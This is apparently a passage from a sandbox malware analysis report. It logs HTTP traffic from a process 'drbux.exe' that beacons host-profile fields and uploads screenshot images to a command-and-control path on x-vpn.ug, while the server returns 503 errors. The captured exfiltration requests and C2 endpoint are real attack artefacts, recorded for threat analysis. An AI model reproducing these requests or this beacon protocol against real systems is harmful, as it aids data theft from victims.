Jul 19, 2021 18:36:29.323774099 CEST	16648	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:29 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:29.323965073 CEST	16650	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:29.324004889 CEST	16653	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:29.324202061 CEST	16656	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:29.324407101 CEST	16659	OUT	Data Raw: a4 a2 ae ce 85 24 78 db 72 31 56 c1 19 07 b1 18 3f a5 7b 97 80 6d e0 d3 bc 0d 6d 3f fc f4 57 9e 56 03 24 f2 7f 90 00 57 95 1f 04 78 94 7f cc 26 7f cd 7f c6 bd 0b e1 de b1 f6 5b 77 f0 d6 a5 fb 8b eb 67 3e 5c 6e 46 59 4f cc 47 d4 64 f1 ef ed 5d 39 Data Ascii: $xr1V?{mm?WV$Wx&[wg>\nFYOGd]9ZC,ZjOo_fvWRY9h@}bL[yoYFB0Lo>anX2-+-+\|M Fk
Jul 19, 2021 18:36:29.324568033 CEST	16661	OUT	Data Raw: ae 2f af e4 5b cb b1 24 96 d6 f0 5a 86 42 8b 21 4c bb 6f 5d 99 65 6c 05 56 e0 76 cd 45 fd bb ae 8b eb 8b ef ed 16 6b 9b 8b b8 af 65 91 d1 58 b4 d1 92 51 b9 1d b7 1e 3a 7b 54 43 56 d4 8e 98 da 6b cd 6f 35 b3 33 b2 89 ad a2 91 e3 2c 72 db 1d 94 b2 Data Ascii: /[$ZB!Lo]elVvEkeXQ:{TCVko53,rFp*]$lI/swQ]\&<vMgiqP>PIbG<zW[+=EW6wHn%%Fg5u~_8gXprW FN:GYxfkfy7Xv#}i
Jul 19, 2021 18:36:29.324843884 CEST	16664	OUT	Data Raw: 94 a2 81 01 a4 ed 4b 45 00 20 a5 a2 96 80 0a 75 14 b5 48 96 14 51 4a 29 88 29 45 1f 5a 29 80 b4 b4 82 9d 41 20 28 22 96 8a a1 5c 41 4a 46 69 69 71 45 82 e4 7e 5a fa 52 79 0a 6a 5c 53 b1 47 2a 0e 76 57 fb 3f bd 27 90 c3 a7 35 67 6d 28 14 7b 34 1e Data Ascii: KE uHQJ))EZ)A ("\AJFiiqE~ZRyj\SG*vW?'5gm({4N;6b(a84\6}E/fV7vr0i60E+0QNQERNSEQKF3LAKF)j(ZbZ(!h@AEQKLZdE-DQKH)iQKH)j"pLZu
Jul 19, 2021 18:36:29.325113058 CEST	16667	OUT	Data Raw: 4b 48 05 38 55 09 8b 4e a6 d2 d5 22 47 8a 51 4d 14 ea 68 96 2d 28 a6 d3 a9 92 38 52 d2 51 4c 91 d4 e1 d2 9a 28 14 08 78 34 b4 da 50 68 10 e1 4e a6 66 94 1a 64 8f a7 03 51 e6 9c 0d 02 24 06 9c 0d 46 0d 3b 3e 94 c8 68 94 1a 78 6a 84 1a 78 34 c8 68 Data Ascii: KH8UN"GQMh-(8RQL(x4PhNfdQ$F;>hxjx4h58z baFosRK&D>C5q^}SS;mZ_hm*^>=MdFIPEk5Hs;RV\|^}A%G4$8T<q\(uGC
Jul 19, 2021 18:36:29.618385077 CEST	16736	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:29 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
206	192.168.2.6	49962	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:29.250160933 CEST	16641	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:29.329003096 CEST	16674	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:29 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
207	192.168.2.6	49964	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:29.694485903 CEST	16737	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:29.695193052 CEST	16737	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:29.695210934 CEST	16747	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:29.695234060 CEST	16750	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:29.772780895 CEST	16750	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:29 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:29.772779942 CEST	16753	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:29.772804022 CEST	16756	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:29.772864103 CEST	16757	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:29.772934914 CEST	16769	OUT	Data Raw: 4f f3 15 8b 5b 5e 19 ff 00 90 94 9f f5 c4 ff 00 31 5a e1 7f 8d 13 2c 5f f0 64 75 75 bf e1 cf 08 6a 7e 25 93 75 b2 08 ed 94 e1 ee 24 fb a0 fa 0f 53 59 7a 65 8b ea 7a a5 b5 92 10 a6 69 02 6e 3d 14 77 3f 80 e6 bd 72 cf 5d 69 d1 f4 bf 0c 47 14 1a 6d Data Ascii: O[^1Z,_duuj~%u$SYzezin=w?r]iGmxQr{NmO~et<]mnZ g>h?s>#2(IO{IxJ**qWhzF#Q}2ypI)'v=40Xqk\|X%l#]
Jul 19, 2021 18:36:29.772960901 CEST	16773	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:36:29.772970915 CEST	16776	OUT	Data Raw: 50 01 45 14 53 d4 03 8a 4a 5a 4a 40 14 a2 92 96 80 0a 5c 51 4b 4c 41 8a 31 40 a2 98 5c 29 c2 9b 4a 0d 02 14 75 a7 0e f4 da 5a 68 42 d1 45 2d 32 45 c5 26 29 40 a5 03 14 ec 03 71 45 29 a4 a0 10 51 49 45 20 0a 5a 29 0d 00 2d 28 a0 51 4c 05 a5 a4 a5 Data Ascii: PESJZJ@\QKLA1@\)JuZhBE-2E&)@qE)QIE Z)-(QL-!uQE74PE)i)i-%-4&)RR!MJ):JZ(SE:K)xJ*J:iA?4j:p5H3NSLZd2\F;5W&QfRdIiLUhx4FEQ6%
Jul 19, 2021 18:36:29.850038052 CEST	16779	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
208	192.168.2.6	49965	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:29.813613892 CEST	16776	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:29.892980099 CEST	16822	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:29 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
209	192.168.2.6	49966	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:30.115811110 CEST	16836	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:30.208857059 CEST	16850	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:30 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.6	49758	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:31.244405031 CEST	2971	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:31.244580984 CEST	2971	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:31.244879961 CEST	2981	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:31.245126963 CEST	2984	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:31.328727961 CEST	2984	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:31 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:35:31.329580069 CEST	2987	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:31.330369949 CEST	2990	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:31.330449104 CEST	2993	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:31.330713034 CEST	2995	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
